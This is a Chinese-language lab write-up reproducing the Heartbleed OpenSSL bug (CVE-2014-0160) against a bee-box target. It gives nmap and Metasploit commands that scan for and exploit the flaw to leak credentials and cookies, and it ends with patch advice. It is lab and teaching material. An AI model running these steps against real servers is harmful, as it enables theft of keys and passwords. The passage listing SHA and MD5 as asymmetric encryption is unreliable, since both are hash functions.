CVE-2014-0160 OpenSSL心脏滴血漏洞复现验证

CVE-2014-0160 OpenSSL心脏滴血漏洞复现验证

一、漏洞介绍

  Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

二、漏洞分析

OpenSSL是通过加密算法来保证数据通信的私密性。
加密算法:
对称加密算法(AES、DES、3DES)
非对称加密算法(RSA/DSA/SHA/MD5)
OpenSSL是使用公开的非对称加密算法RSA来加密的。

如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。

三、漏洞测试

测试环境
攻击机:kali linux
IP:172.16.20.230
目标机:bee-box(bwap)
IP:172.16.20.29

Bee-box靶机下载地址:https://nchc.dl.sourceforge.net/project/bwapp/bee-box/bee-box_v1.6.7z

下载后直接解压使用Vmware打开即可

四、漏洞复现

1、漏洞扫描

使用nmap检测漏洞是否存在

nmap -sV -p 8443 --script ssl-heartbleed.nse 172.16.20.29

使用 CSHeartbleedScanner.exe 工具

 

已经确定漏洞存在。

2、打开msf进行漏洞利用

第一步,查找heartbleed模块

search heartbleed

第二步,使用漏洞利用模块

use auxiliary/scanner/ssl/openssl_heartbleed

第三步,设置RHOSTS和RPORT

set rhosts 172.16.20.29
set rport 8443
set verbose true

第四步,先登录一下应用程序

https://172.16.20.29:8443/bWAPP/login.php

第五步,进行攻击

第六步,成功获取到靶机信息,如用户名、密码,cookie等。

五、漏洞修补

受影响版本

OpenSSL 1.0.1
OpenSSL 1.0.1a ~OpenSSL 1.0.1f
OpenSSL Beta 1
OpenSSL 1.0.2

升级到新版本。